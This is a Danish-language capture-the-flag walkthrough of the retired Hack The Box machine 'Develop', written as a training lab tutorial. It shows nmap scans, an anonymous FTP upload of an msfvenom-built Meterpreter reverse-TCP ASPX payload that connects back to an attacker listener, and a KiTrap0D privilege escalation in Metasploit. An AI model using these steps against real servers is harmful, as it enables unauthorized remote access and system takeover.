Keep Calm and Hack The Box - Develop

Hack The Box (HTB) er en online platform, der giver dig mulighed for at teste dine penetrationstestkompetencer. Den indeholder flere udfordringer, der konstant opdateres. Nogle af dem simulerer scenarier fra den virkelige verden, og andre læner sig mere mod en CTF-stil med udfordring.

Bemærk . Kun opskrivninger af pensionerede HTB-maskiner er tilladt.

Develop beskrives som et relativt simpelt felt, der demonstrerer sikkerhedsrisici forbundet med nogle standardprogramkonfigurationer. Det er en maskine på begynderniveau, som kan afsluttes ved hjælp af offentligt tilgængelige bedrifter.

Vi bruger følgende værktøjer til at pantsætte kassen på en Kali Linux-kasse

  • nmap
  • zenmap
  • searchsploit
  • metasploit
  • msfvenom

Trin 1 - Scanning af netværket

Det første trin inden udnyttelse af en maskine er at lave en lille smule scanning og rekognoscering.

Dette er en af ​​de vigtigste dele, da det bestemmer, hvad du kan prøve at udnytte bagefter. Det er altid bedre at bruge mere tid på den fase for at få så mange oplysninger som muligt.

Jeg bruger Nmap (Network Mapper), som er et gratis og open source-værktøj til netværksopdagelse og sikkerhedsrevision. Det bruger rå IP-pakker til at bestemme, hvilke værter der er tilgængelige på netværket, hvilke tjenester disse værter tilbyder, hvilke operativsystemer de kører, hvilken type pakkefiltre / firewalls der er i brug og snesevis af andre egenskaber.

Der er mange kommandoer, du kan bruge med dette værktøj til at scanne netværket. Hvis du vil lære mere om det, kan du se på dokumentationen her.

Jeg bruger følgende kommando til at få en grundlæggende idé om, hvad vi scanner

nmap -sV -O -F --version-light 10.10.10.5

-sV: Probe åbne porte for at bestemme service / version info

-O: Aktiver OS-detektion

-F: Hurtig tilstand - Scan færre porte end standardscanningen

--version-light: Begræns til mest sandsynlige sonder (intensitet 2)

10.10.10. 5 : IP-adressen på Develop-feltet

Du kan også bruge Zenmap , som er den officielle Nmap Security Scanner GUI. Det er en multi-platform, gratis og open source-applikation, der sigter mod at gøre Nmap let for begyndere at bruge, mens de leverer avancerede funktioner til erfarne Nmap-brugere.

Jeg bruger et andet sæt kommandoer til at udføre en intensiv scanning

nmap -A -v 10.10.10.5

-A: Aktiver OS-detektion, versionsdetektion, script-scanning og traceroute

-v: Forøg bredhedsniveauet

10.10.10.5: IP-adresse for Develop-boksen

Hvis du finder resultaterne lidt for overvældende, kan du flytte til fanen Porte / værter for kun at få de åbne porte.

Vi kan se, at der er 2 åbne porte:

Port 21 . File Transfer Protocol (FTP) kontrol (kommando). Her er det en Microsoft FTP

Port 80 . Hypertext Transfer Protocol (HTTP). Her er det en IIS-server

Den mest sandsynlige indledende angrebsvektor ser ud til at være FTP i dette tilfælde

Trin 2 - Den sårbare FTP

Vi åbner Firefox og besøger webstedet på //10.10.10.5

Fra rekognoseringsfasen fandt vi 2 filer under Microsoft FTP. Lad os se, om vi kan få adgang til dem fra browseren.

Jeg kan få adgang til Welcome.png- billedfilen ved at besøge

//10.10.10.5/welcome.png

Jeg kan også få adgang til iisstart.htm- siden

//10.10.10.5/iisstart.htm

Vi ved nu to ting:

  • FTP bruges som en filmappe til webserveren - opdaget, da vi fik adgang til filerne fra rekonstruktionsfasen.
  • FTP tillader anonym login - opdaget, da vi udførte den intense scanning.

Lad os se, om vi kan oprette en fil og føje den til FTP

Jeg opretter en fil ved hjælp af denne kommando og output resultatet til en fil kaldet htb.html

echo HackTheBox > htb.html

Jeg kontrollerer derefter med ls, om filen er oprettet, og hvad indholdet af filen er med denne kommando

cat htb.html

Lad os nu oprette forbindelse til FTP for at tilføje vores testfil

For at oprette forbindelse til FTP bruger jeg denne kommando

ftp 10.10.10.5

Jeg skriver anonymt som brugernavn og bare trykker på enter for adgangskoden, da det tillader anonymt login.

Jeg er nu forbundet til FTP.

Jeg tilføjer filen på FTP med denne kommando

put htb.html

Filen er sendt med succes. Lad os kontrollere, om vi kan få adgang til det fra Firefox. Jeg besøger siden, og vi kan se output HackTheBox på websiden.

//10.10.10.5/htb.html

Nu hvor vi ved, at vi kan sende filer, lad os lave en udnyttelse!

Trin 3 - Brug af MSFvenom til at lave en udnyttelse

Vi bruger MSFvenom, som er en nyttelastgenerator. Du kan lære mere om det her

Men lad os først undersøge Metasploit Framework, hvilken nyttelast vi skal bruge til at udforme vores udnyttelse.

Vi ved, at vi er nødt til at oprette en omvendt skal , som er en type skal, hvor målmaskinen kommunikerer tilbage til den angribende maskine. Den angribende maskine har en lytterport, hvorpå den modtager forbindelsen, som opnås ved hjælp af kode eller udførelse af kommando.

Den omvendte TCP-skal skal være til Windows, og vi bruger Meterpreter .

Fra webstedet Offensive Security får vi denne definition til Meterpreter

Meterpreter er en avanceret, dynamisk udvidelig nyttelast, der bruger in-memory DLL-injektionsstager og udvides over netværket ved kørsel. Det kommunikerer via staging-soklen og giver en omfattende Ruby API på klientsiden. Den har kommandoerhistorik, faneblad, kanaler og mere.

Du kan læse mere om Meterpreter her.

Jeg starter Metasploit og søger efter omvendte TCP-nyttelast. Jeg bruger følgende kommando

search windows/meterpreter/reverse_tcp

Vi finder en interessant nyttelast, nummer 2, som er en Reverse TCP Stager .Denne nyttelast injicerer meterpreter-server-DLL via reflekterende Dll-injektionsnyttelast og forbinder tilbage til angriberen

payload/windows/meterpreter/reverse_tcp

Lad os nu gå tilbage til msfvenom for at skabe vores udnyttelse. Og mere specifikt en aspx omvendt skal. Denne information er indsamlet i rekonstruktionsfasen

Jeg bruger følgende kommando

msfvenom -p windows/meterpreter/reverse_tcp -f aspx -o devel.aspx LHOST=10.10.14.15 LPORT=4444

- p : Nyttelast til brug

- f : Outputformat

- 0 : Gem nyttelasten i en fil

LHOST : Lokal vært

LPORT : Lokal havn

Jeg kontrollerer derefter med ls, om filen er oprettet. Det er tid til at sende det til FTP

Lad os genoprette forbindelse til FTP og sende vores lille gave!

Jeg opretter forbindelse til FTP, indtaster anonym som et brugernavn, springer adgangskoden over ved at trykke på enter. Jeg sender derefter filen med følgende kommando

put devel.aspx

Lad os kontrollere, om filen er sendt korrekt. Når jeg går tilbage til Firefox , navigerer jeg til FTP-serveren med følgende kommando

ftp://10.10.10.5

Vi kan se, at vores lille gave er her!

Her er udnyttelsen, hvis du er nysgerrig efter at vide, hvordan det ser ud

Trin 4 - Opsætning af en lytter med Metasploit

Tilbage på Metasploit, hvor jeg bruger følgende kommando til at indstille nyttelasthåndteringen

use exploit/multi/handler

Jeg tjekker for at se, hvilke muligheder der er tilgængelige

Vi oprettede først nyttelasten

set payload windows/meterpreter/reverse_tcp

Så LHOST

set lhost 10.10.14.15

Og endelig LPORT

set lport 4444

Hvis vi tjekker indstillingerne nu, skal vi se, at alt er sat op

Lad os køre udnyttelsen.

Efter denne meddelelse vises

Started reverse TCP handler on 10.10.14.15:4444

gå tilbage til browseren og få adgang til den side, hvor det ondsindede script er hostet

//10.10.10.5/devel.aspx

Du skal derefter se en Meterpreter-session oprettet

Nu hvor jeg har en session, prøver jeg at lede efter det første flag, user.txt ved hjælp af følgende kommando på meterpreter

search -f user.txt

Ingen filer matcher min søgning. Jeg prøver med. * At se andre filer, men intet nyttigt

Jeg opretter derefter en shell med følgende kommando

shell

Jeg bruger følgende kommando til at få systemoplysningerne

systeminfo

Vi kan se, at den registrerede ejer hedder babis . Dette kan være et vigtigt stykke information, når vi skal lede efter brugerflagget. Vi kan også se, at maskinen ikke har nogen hotfixes.

Jeg begynder at navigere gennem mapperne. Jeg bruger dir til at liste alle filer / mapper og cd til at ændre bibliotek. Jeg prøver lykken på babis- og administratormapperne , men begge gav mig adgang nægtet.

Vi er nødt til at eskalere privilegium! Når vi vidste, at da vi kontrollerede systemoplysningerne, blev der ikke fundet nogen hotfixes, kan vi forsøge at finde udnyttelser, der gælder for denne maskine.

Trin 5 - Udførelse af privilegiereskalering

Jeg satte sessionen i baggrunden med denne kommando

background

Jeg bruger derefter følgende kommando

use post/multi/recon/local_exploit_suggester

Dette modul foreslår lokale Meterpreter-udnyttelser, der kan bruges. Eksploaterne foreslås baseret på den arkitektur og platform, at brugeren har en skal åbnet såvel som de tilgængelige exploits i Meterpreter

Jeg tjekker indstillingerne, og jeg indstiller sessionen

Det er vigtigt at bemærke, at ikke alle lokale bedrifter bliver fyret. Eksploits vælges ud fra disse betingelser: sessionstype, platform, arkitektur og krævede standardindstillinger

Går ned på listen

exploit/windows/local/bypassuac_eventvwr

mislykkes på grund af at IIS-brugeren ikke er en del af administratorgruppen, hvilket er standard og kan forventes.

Jeg bruger den næste udnyttelse på listen, hvilket er

use exploit/windows/local/ms10_015_kitrap0d

Dette modul opretter en ny session med SYSTEM-privilegier via KiTrap0D-udnyttelsen af ​​Tavis Ormandy. Hvis den anvendte session allerede er forhøjet, kører udnyttelsen ikke. Modulet er afhængigt af kitrap0d.x86.dll og understøttes ikke i x64-udgaver af Windows.

Da vi kørte sysinfo i Meterpreter-sessionen, afslørede det, at målet var x86-arkitektur

Jeg tjekker indstillingerne og indstiller derefter sessionen

Jeg kører udnyttelsen.

Udnyttelsen var vellykket, men sessionen kunne ikke oprettes. Dette skyldes, at den første linje i udnyttelsen forsøger at oprette en omvendt behandler på standard eth0 og standardport, og ikke VPN-grænsefladen til HTB-laboratorier.

Started reverse TCP handler on 10.0.2.15:4444

Jeg tjekker indstillingerne og indstiller LHOST og LPORT

Jeg kontrollerer derefter alle sessioner i live med følgende kommando, hvis min session dør

sessions -l

Jeg kan se min session

Nu hvor vi har en meterpreter-session, lad os navigere i mappen og finde flagene!

Trin 6 - På udkig efter flagget user.txt

Lad os først kontrollere, hvor vi er med følgende kommando

pwd

som står for udskrivningsbibliotek

Jeg går op til C: \ og ls alle filerne / mapperne. Jeg ved allerede, hvor jeg skal se fra mit tidligere forsøg i trin 4 - Opsætning af en lytter med Metasploit

Jeg går tilbage til Brugere biblioteket

derefter til babis- biblioteket

Derfra jeg går til skrivebordet mappe

Vi fandt filen user.txt.txt ! For at læse indholdet af filen bruger jeg kommandoen

cat user.txt.txt

Nu hvor vi har brugerflagget, lad os finde rodflagget!

Trin 7 - Leder du efter flagget root.txt

Gå tilbage til C: \ for at navigere til mappen Administrator og derefter Desktop- mappen. Jeg bruger ls til at liste alle filer under Desktop- mappen

Vi finder filen root.txt.txt !

For at læse indholdet af filen bruger jeg kommandoen

cat root.txt.txt

Tillykke! Du fandt begge flag!

Tøv ikke med at kommentere, stille spørgsmål eller dele med dine venner :)

Du kan se flere af mine artikler her

Du kan følge mig på Twitter eller på LinkedIn

Og glem ikke at # GetSecure , # BeSecure & # StaySecure !

Andre artikler om Hack The Box

  • Hold roen og hak kassen - halt
  • Hold dig rolig og hak kassen - Legacy
  • Bliv rolig og hack kassen - bip